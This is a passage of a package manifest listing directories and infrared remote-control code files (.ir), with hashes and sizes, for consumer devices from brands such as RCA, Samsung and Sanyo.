-D:infrared/_CSV-IRDB_/Quasar/TV -F:ebd9d86eb158a44532c0e6373c3efa19:1732:infrared/_CSV-IRDB_/Quasar/TV/128,0.ir -D:infrared/_CSV-IRDB_/RCA/DSS -D:infrared/_CSV-IRDB_/RCA/DVD Player -D:infrared/_CSV-IRDB_/RCA/Laser Disc -D:infrared/_CSV-IRDB_/RCA/TV -D:infrared/_CSV-IRDB_/RCA/Unknown_BR-RCA -D:infrared/_CSV-IRDB_/RCA/Unknown_DTA800b -D:infrared/_CSV-IRDB_/RCA/Unknown_R130A1 -D:infrared/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP -D:infrared/_CSV-IRDB_/RCA/Unknown_RCZ -D:infrared/_CSV-IRDB_/RCA/Unknown_TV -D:infrared/_CSV-IRDB_/RCA/VCR -F:ecf8f4229cca7add5602f9e482e84383:300:infrared/_CSV-IRDB_/RCA/DSS/15,-1.ir -F:69332a6ce025de4699f980d704757526:4918:infrared/_CSV-IRDB_/RCA/DSS/7,-1.ir -F:e7fa0c4b4e2db965fe981a9940369876:5372:infrared/_CSV-IRDB_/RCA/DVD Player/5,-1.ir -F:21e01afef777ca28ccc66388978895d6:2987:infrared/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir -F:96b3b30b162615d0d9319fe1794ca745:125:infrared/_CSV-IRDB_/RCA/TV/14,-1.ir -F:ca096551c029803ab75539cd64207749:6230:infrared/_CSV-IRDB_/RCA/TV/15,-1.ir -F:5fb609ea7f90e9631a2d3c9ba96c9640:125:infrared/_CSV-IRDB_/RCA/TV/7,-1.ir -F:981c66845e90a655d7e717749a9dc05d:2728:infrared/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir -F:f85abce83cee0e1b617ed2dee91791ea:1799:infrared/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir -F:b20faf40e27f1135c1171e2c5b604f7a:2955:infrared/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir -F:d670776cdd48aba8eb49e4afa9230dd0:2143:infrared/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir -F:1a1ab580b868aef142c0b8932523c832:3484:infrared/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir -F:869eab935ca14215424a610f18b0d6b9:851:infrared/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir -F:90d8f478f1626b759b031a705cf3ac83:2436:infrared/_CSV-IRDB_/RCA/VCR/14,-1.ir -F:934c03998db7bca8f20801cd5717e6b2:215:infrared/_CSV-IRDB_/RCA/VCR/15,-1.ir -D:infrared/_CSV-IRDB_/RSQ/Karaoke -F:a84d946c21fdcd032897427b57a0c6b7:666:infrared/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir -F:c2f1b5424626b0025f351e6f83bbfe86:2268:infrared/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir -F:5bb5108eb0facfc924d2b589c23c032a:132:infrared/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir -D:infrared/_CSV-IRDB_/Radio Shack/Unknown_RS2142 -D:infrared/_CSV-IRDB_/Radio Shack/Unknown_RadioShack -D:infrared/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115 -F:1d228584647ea1cad8faab991daf6414:3062:infrared/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir -F:a180a549bc6db729480821e8381be477:209:infrared/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir -F:8014099105a9707c59b18110db578124:3245:infrared/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir -D:infrared/_CSV-IRDB_/Radix/Unknown_Alpha -D:infrared/_CSV-IRDB_/Radix/Unknown_DT-X1 -D:infrared/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin -D:infrared/_CSV-IRDB_/Radix/Unknown_SAT -D:infrared/_CSV-IRDB_/Radix/Unknown_lircd.conf -D:infrared/_CSV-IRDB_/Radix/Unknown_radix -F:b9ed8978f1f3a1a0c91251d7ae7cd7e6:1696:infrared/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir -F:ed258c902ecb747d9bc6742f09618f7a:2962:infrared/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir -F:6a7d27867ad598d0c77694e702623066:3393:infrared/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir -F:ba263482844580ef899eb48a887a8b19:2033:infrared/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir -F:ab3ac7926f3e8ddab69a148f9a9b3ec8:2862:infrared/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir -F:f59a400491cc966288b5feec289b3350:2236:infrared/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir -D:infrared/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx -F:76261dd053e4e35690d6260ec511a8c8:3880:infrared/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir -D:infrared/_CSV-IRDB_/Ranex/Unknown_RGB -F:e8bbf70bc5e97dcbf9b37545d7fe26e2:2409:infrared/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir -D:infrared/_CSV-IRDB_/Re.x/Unknown_SDVD -F:bd606151ca7035db285440d8b978451e:4521:infrared/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir -D:infrared/_CSV-IRDB_/Recor/Unknown_IRC-1304 -F:cce7838e2ab1511c7919dff96be03430:3822:infrared/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir -D:infrared/_CSV-IRDB_/Rega/Receiver -F:34e7c953bc3b38b7c956cae403efe8ba:1997:infrared/_CSV-IRDB_/Rega/Receiver/110,-1.ir -F:c3933b57d33589e0045c6ae8d11e24e1:381:infrared/_CSV-IRDB_/Rega/Receiver/135,124.ir -F:160a655bcaf16ee2a54fbfbdb758c969:988:infrared/_CSV-IRDB_/Rega/Receiver/16,-1.ir -D:infrared/_CSV-IRDB_/Replay Networks/Digital Recorder -F:f7cabc8d75801857b1e0e8aab05c715b:5413:infrared/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir -D:infrared/_CSV-IRDB_/ReplayTV/Unknown_5000 -F:2f09f082d31b24dff3b9c533c57a8c57:3244:infrared/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir -D:infrared/_CSV-IRDB_/Revo/Unknown_Blik -F:eece9f1f944d2f6935eeb72757b88c57:2422:infrared/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir -D:infrared/_CSV-IRDB_/Revoy/Unknown_Revoy2200 -F:d361364054eb106d19364ae21eb96c4f:4003:infrared/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir -D:infrared/_CSV-IRDB_/Rio/Unknown_Audio -F:6d21798d08cf4c5ada22c2e3a07dcd3e:2427:infrared/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir -D:infrared/_CSV-IRDB_/Roku/Unknown_Netflix -D:infrared/_CSV-IRDB_/Roku/Unknown_Soundbridge -F:407e66e95c0d9b276c66aae3d1c53081:840:infrared/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir -F:db2779d78214e730df802a92e139af84:2436:infrared/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir -D:infrared/_CSV-IRDB_/Rolsen/Unknown_DK5A -D:infrared/_CSV-IRDB_/Rolsen/Unknown_K10B-C1 -F:2b2b06af06b6bc7093539fb7a8303df2:4377:infrared/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir -F:c0151fd6afb7328474772edd24a0e45e:2342:infrared/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir -D:infrared/_CSV-IRDB_/Rotel/CD Player -D:infrared/_CSV-IRDB_/Rotel/Tuner -D:infrared/_CSV-IRDB_/Rotel/Unknown_RR-925 -F:eaf3f8cc95900fad11d5a0cfdf35ca02:460:infrared/_CSV-IRDB_/Rotel/CD Player/20,-1.ir -F:d3f8683bb7dbf38402e548a699430eb8:1557:infrared/_CSV-IRDB_/Rotel/Tuner/82,0.ir -F:1c3c9482c3968b99775a9df1e94a5185:2240:infrared/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir -D:infrared/_CSV-IRDB_/Rowa/Unknown_RDVD104 -F:16e04d42c83a88cd6a1b01b5e6994ede:4015:infrared/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir -D:infrared/_CSV-IRDB_/Runco/Line Doubler -D:infrared/_CSV-IRDB_/Runco/Video Controller -D:infrared/_CSV-IRDB_/Runco/Video Projector -F:3e118622366adc383860819aa5289181:845:infrared/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir -F:605dea93b95aa65e5dd56a06abcace74:1465:infrared/_CSV-IRDB_/Runco/Video Controller/1,-1.ir -F:ef96e37e60e4ff69890c319434ed8bc7:2728:infrared/_CSV-IRDB_/Runco/Video Projector/1,-1.ir -F:853f6552f27d0576a83bac915a659a19:3434:infrared/_CSV-IRDB_/Runco/Video Projector/24,247.ir -F:5e724dbcd87b03b0805a4901959db3f6:1931:infrared/_CSV-IRDB_/Runco/Video Projector/5,1.ir -D:infrared/_CSV-IRDB_/Russound/Music Server -F:424058516531579d022834db45af5b52:2127:infrared/_CSV-IRDB_/Russound/Music Server/10,-1.ir -D:infrared/_CSV-IRDB_/SAB/Unknown_Explorer -F:b684dcd447219310731412854d5df1b7:2108:infrared/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir -D:infrared/_CSV-IRDB_/SABA/Unknown_SabaTC460 -D:infrared/_CSV-IRDB_/SABA/Unknown_TC3003 -F:3af7e5bad2168c48f041e958369ef8d9:3096:infrared/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir -F:bf9be29c17a1557887d57dfbf2383c00:1963:infrared/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir -D:infrared/_CSV-IRDB_/SEG/Unknown_E6900-X020A -D:infrared/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430 -D:infrared/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300 -D:infrared/_CSV-IRDB_/SEG/Unknown_SR-040 -D:infrared/_CSV-IRDB_/SEG/Unknown_SR-201 -D:infrared/_CSV-IRDB_/SEG/Unknown_SR800 -D:infrared/_CSV-IRDB_/SEG/Unknown_VCR -D:infrared/_CSV-IRDB_/SEG/Unknown_VCR2000 -F:c6fbd8bc1d500cbb566596cc6e2c63e8:4567:infrared/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir -F:9fda3146036769c9e6b54b9f5c18d212:3856:infrared/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir -F:33a59b97175aa42b4574287212afb9c8:3167:infrared/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir -F:c8ad61121d30d7d97f9951821ccdc126:1860:infrared/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir -F:afb3b6a9f00a6e3636ab9f4871272255:2056:infrared/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir -F:89fc1dfea03ec526a4daa7ae30571d5e:1790:infrared/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir -F:9650d2d5ce157aab9e751e13cb78ccdc:3304:infrared/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir -F:2c7b0d06708dc50dc3f7f98947bfad1d:2251:infrared/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir -D:infrared/_CSV-IRDB_/ST/Unknown_DTTRC-4 -D:infrared/_CSV-IRDB_/ST/Unknown_HMP -F:3a9e0ec49041945e4fdbb93bdad8375f:3528:infrared/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir -F:1eee4a396c8059acb56d829a5325c0a1:3614:infrared/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir -D:infrared/_CSV-IRDB_/STRONG/8209_DVB-T2 -D:infrared/_CSV-IRDB_/STRONG/8821_DVB-T -D:infrared/_CSV-IRDB_/STRONG/Unknown_STRONG -F:ba31f3ab5ddfa41db8a0dfd3119b9f89:3574:infrared/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir -F:3aadb8c2184702398153d3dfd2377d1d:4157:infrared/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir -F:0ad208bf0103b5d67b5984e8d0282c98:2957:infrared/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir -D:infrared/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168 -F:2c4909b4416793e773815c7188f22f0d:4248:infrared/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir -D:infrared/_CSV-IRDB_/SVEN/Unknown_HT-475 -D:infrared/_CSV-IRDB_/SVEN/Unknown_IHOO -F:9c320b08a6922fe01bb4f759c67416be:1171:infrared/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir -F:0da0828377636d61b4cf9cb4ae38ee75:1173:infrared/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir -D:infrared/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver -D:infrared/_CSV-IRDB_/Sagem/Unknown_HD103-C -D:infrared/_CSV-IRDB_/Sagem/Unknown_Sagem -F:b210fae776ca9a6e6c0c0d0224d3a111:2940:infrared/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir -F:bd7eeba95bfbd538d643390eba4ada59:2855:infrared/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir -F:1819d647535aaabbab95c1c4ba7e9b9b:3378:infrared/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir -D:infrared/_CSV-IRDB_/Salora/Unknown_SV6700 -F:9e3ceaf3d0bada48e789c691a23e3bcf:2408:infrared/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir -D:infrared/_CSV-IRDB_/Samsung/Air Conditioner -D:infrared/_CSV-IRDB_/Samsung/Rear Projection DLP TV -D:infrared/_CSV-IRDB_/Samsung/TV -D:infrared/_CSV-IRDB_/Samsung/Unknown_00011k -D:infrared/_CSV-IRDB_/Samsung/Unknown_00021c -D:infrared/_CSV-IRDB_/Samsung/Unknown_00054d -D:infrared/_CSV-IRDB_/Samsung/Unknown_00056A -D:infrared/_CSV-IRDB_/Samsung/Unknown_00077A -D:infrared/_CSV-IRDB_/Samsung/Unknown_00092M -D:infrared/_CSV-IRDB_/Samsung/Unknown_00092b -D:infrared/_CSV-IRDB_/Samsung/Unknown_00104J -D:infrared/_CSV-IRDB_/Samsung/Unknown_00104K -D:infrared/_CSV-IRDB_/Samsung/Unknown_00198f -D:infrared/_CSV-IRDB_/Samsung/Unknown_00225A -D:infrared/_CSV-IRDB_/Samsung/Unknown_01043A -D:infrared/_CSV-IRDB_/Samsung/Unknown_10107N -D:infrared/_CSV-IRDB_/Samsung/Unknown_10116A -D:infrared/_CSV-IRDB_/Samsung/Unknown_10420A -D:infrared/_CSV-IRDB_/Samsung/Unknown_528Z -D:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00316b -D:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00332D -D:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00370A -D:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00382A -D:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00600A -D:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-10026E -D:infrared/_CSV-IRDB_/Samsung/Unknown_AA64-50236A -D:infrared/_CSV-IRDB_/Samsung/Unknown_AH59-01527F -D:infrared/_CSV-IRDB_/Samsung/Unknown_AH59-02345A -D:infrared/_CSV-IRDB_/Samsung/Unknown_ARH-700 -D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00507A -D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00538A -D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00603A -D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00609A -D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00634A -D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00678A -D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00683A -D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00685A -D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00856A -D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00861A -D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00865A -D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00869A -D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00940A -D:infrared/_CSV-IRDB_/Samsung/Unknown_BRM-E1E -D:infrared/_CSV-IRDB_/Samsung/Unknown_HLN507W -D:infrared/_CSV-IRDB_/Samsung/Unknown_MF59 -D:infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00242B -D:infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00291a -D:infrared/_CSV-IRDB_/Samsung/Unknown_PR3914 -D:infrared/_CSV-IRDB_/Samsung/Unknown_RCD-M70 -D:infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG -D:infrared/_CSV-IRDB_/Samsung/Unknown_SAT -D:infrared/_CSV-IRDB_/Samsung/Unknown_SFT-702E -D:infrared/_CSV-IRDB_/Samsung/Unknown_SMT-1000T -D:infrared/_CSV-IRDB_/Samsung/Unknown_SMT-H3050 -D:infrared/_CSV-IRDB_/Samsung/Unknown_SV-411X -D:infrared/_CSV-IRDB_/Samsung/Unknown_SV-610X -D:infrared/_CSV-IRDB_/Samsung/Unknown_SV-651B -D:infrared/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E -D:infrared/_CSV-IRDB_/Samsung/Unknown_TV -D:infrared/_CSV-IRDB_/Samsung/Unknown_VCR -D:infrared/_CSV-IRDB_/Samsung/Unknown_VXK-336 -D:infrared/_CSV-IRDB_/Samsung/Unknown_hifi -D:infrared/_CSV-IRDB_/Samsung/Unknown_samsung-10095T -D:infrared/_CSV-IRDB_/Samsung/Unknown_test -D:infrared/_CSV-IRDB_/Samsung/VCR -F:03a8ef80b5eb1e899dc9c96963d63706:917:infrared/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir -F:72d31728548d514d3913fdc9498d5acf:1317:infrared/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir -F:ecc7504351326d5989a79c88184742f2:2969:infrared/_CSV-IRDB_/Samsung/TV/7,7.ir -F:63daca0bfe315e120e6475532bafda35:3309:infrared/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir -F:3a36348e1042458f60c7167f47aec678:3251:infrared/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir -F:4f9139bb1eab27a96a56b5bf85c0692d:3403:infrared/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir -F:b892595a6c9bd9f42a84aa43d0fcf653:3492:infrared/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir -F:70aba0c96991e6995dfd13479d2fca5e:2327:infrared/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir -F:f8ea92a35bd28fa0bd8ff6c69acbc5ac:3759:infrared/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir -F:495643ca59a358f2eb3db249809a3492:3758:infrared/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir -F:b15ad358dc900d7fb22caab50feeec02:2161:infrared/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir -F:7d0919c07865feeae03349105558cbb5:2595:infrared/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir -F:6a098b7ace6113adcf2f36c3e66346d8:2134:infrared/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir -F:71c3ff94ea7a6e4bc973a9c6e04b139a:2580:infrared/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir -F:ef46b4c26e15d740a0717aebd6de9e50:1110:infrared/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir -F:b600b962e46aabb2bff1220aef891f2c:2161:infrared/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir -F:59d520b4ccb0900736a8a9e882ba6d1a:1048:infrared/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir -F:392951419d57b9e37ae248d4d38b6f84:1652:infrared/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir -F:c0f62486790e86f1ba3a65ec8a1c2fef:1979:infrared/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir -F:acb9d98a7abd654af15cba944d2b7090:2861:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir -F:42a865e6f0dcce5bc8eb592063b33650:2694:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir -F:183e9c74fe12f038726b0e87c9dab741:3490:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir -F:fae0c142ea50295a9721a0716d4f6af1:4007:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir -F:912773aa2b8518f5a26f2dbdfb4c16b8:3995:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir -F:c8e384e9f21de5acbb9d61413188dd63:3138:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir -F:5122040a914c4e45c58770b5318469e4:2326:infrared/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir -F:32775c58e8f305dbb08961edb80834cb:4840:infrared/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir -F:317a9c5510719bd8bc9f889733f6d874:3158:infrared/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir -F:5ee8a9d9a84b1918094e89bf8a5cf5bc:1080:infrared/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir -F:b06630772b8b60d0c07a2d0adb0e9ee5:4025:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir -F:341364c9d0fa944230639e25562a9661:4817:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir -F:a3873d027f783733f6ddac7f48f2344e:4824:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir -F:1f813747006b12bb42d8f0a6d09288ee:4020:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir -F:fc27082bdd0ec559e003801ae9a74e98:2707:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir -F:0553de61dc568db1040bb420437eee50:3489:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir -F:58dc06d07a47dd59f3a549ed499cb486:4301:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir -F:3b3c2090420752416376a7829b705880:4028:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir -F:9a01ac5cc8dbaf3eefbd5b59a460fa9e:4293:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir -F:ae4f091df1b6272a6ef28368a38d7fc9:4320:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir -F:94d81ec5b6c4bb2f78081982db1d9430:3423:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir -F:8a9e671d628aa433a749f1b09e6e16c8:3500:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir -F:5ea3b002aa2fd8866f0c908305c24278:4304:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir -F:0b0197e7e3d841d7907bbf3f984c42c9:1097:infrared/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir -F:8dcaf786c52131c022b113d328ea9370:1277:infrared/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir -F:905fe7323135dddbf324c66ecca0ad3b:3068:infrared/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir -F:be839aac99e66e48ee615b83fc7ce0bc:3062:infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir -F:27a3195462ee5ed4afb0db79f45db762:3384:infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir -F:d2d06e64a5321f4450205a77ba37420d:1296:infrared/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir -F:392c75c61ef804d5866c3ea5f939b973:1374:infrared/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir -F:9fd853b370a95979b59662478145ee97:3752:infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir -F:3352ee8bca59cc10519fce9c36a14013:3576:infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir -F:d639f375072b3c0b2569b79abe6d7999:4311:infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir -F:e2fd6cd119c4fbeed720b18669ec8391:2618:infrared/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir -F:7f739abb01afd95ce66ddbd0c205dc01:3317:infrared/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir -F:2d60fb55e16cd41f5488a73d0fa0ad81:3229:infrared/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir -F:9c02063853d87ec7060b0f32d6b74f10:1611:infrared/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir -F:7228afd7d21f48b63490a7f736328110:3824:infrared/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir -F:4bcf606cefa3dd35f187d824dc309f95:3558:infrared/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir -F:3f85d6296bb3db18c99a0fe8b9aae14d:4055:infrared/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir -F:d9465e8ecb39068abad53cd4ea14d212:3954:infrared/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir -F:b1e4ff519e1887460410ba1a406ec5b1:2156:infrared/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir -F:e711040218819e09471fc9bb12ebd3e2:3466:infrared/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir -F:1a588318f61eeb2d38c4203000e8c7ed:3620:infrared/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir -F:68c7b961ca49bf18c5a040736baebd64:2860:infrared/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir -F:5a3afa5df71a8f1af585f6aa574f8f63:2215:infrared/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir -F:706d936ce06400538d595f243e76b9d8:2501:infrared/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir -F:6184c5944701f00b0000b222e6666ee2:1117:infrared/_CSV-IRDB_/Samsung/VCR/2,2.ir -F:a4e88d963c4fdf0c31e1bba3ff1bcb88:8053:infrared/_CSV-IRDB_/Samsung/VCR/5,5.ir -D:infrared/_CSV-IRDB_/Samy/Unknown_SDX1100 -F:74d8a3a090d9c50fbf99740fac8b5d70:3908:infrared/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir -D:infrared/_CSV-IRDB_/Sansonic/Unknown_FT-300A -F:fa70d924b0925e94fde7d0bcb2142ef7:2413:infrared/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir -D:infrared/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103 -F:2ab58f64bd2b6686ac905db3622fed59:2333:infrared/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir -D:infrared/_CSV-IRDB_/Sanyo/TV -D:infrared/_CSV-IRDB_/Sanyo/Unknown_A05800 -D:infrared/_CSV-IRDB_/Sanyo/Unknown_B01004 -D:infrared/_CSV-IRDB_/Sanyo/Unknown_B01007 -D:infrared/_CSV-IRDB_/Sanyo/Unknown_B12628 -D:infrared/_CSV-IRDB_/Sanyo/Unknown_B13540 -D:infrared/_CSV-IRDB_/Sanyo/Unknown_RB-DA300 -D:infrared/_CSV-IRDB_/Sanyo/Unknown_RB-SL22 -D:infrared/_CSV-IRDB_/Sanyo/Unknown_RC-105C -D:infrared/_CSV-IRDB_/Sanyo/Unknown_RC700 -D:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo -D:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509 -D:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB -D:infrared/_CSV-IRDB_/Sanyo/Unknown_TV -D:infrared/_CSV-IRDB_/Sanyo/Unknown_VCR -D:infrared/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01 -D:infrared/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537 -D:infrared/_CSV-IRDB_/Sanyo/Video Projector -F:ce5fec228b859e84219d2886605d9bfa:1999:infrared/_CSV-IRDB_/Sanyo/TV/56,-1.ir -F:0d44d2cc51d095bcad2e26f6c060fe61:2338:infrared/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir -F:07458619b2ddb2d633083430d60e493c:2764:infrared/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir -F:075e87aacfa263c5f335110851d1206b:2956:infrared/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir -F:0382709e950ab8a1094ddc670a901523:2651:infrared/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir -F:bb0614024d8f2b0b338fc8e73fbe3042:3032:infrared/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir -F:d4fa64ab35f7e6340b400c21f1f9da98:2973:infrared/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir -F:18ac5acff116ecf45efbb4c510aeab34:3952:infrared/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir 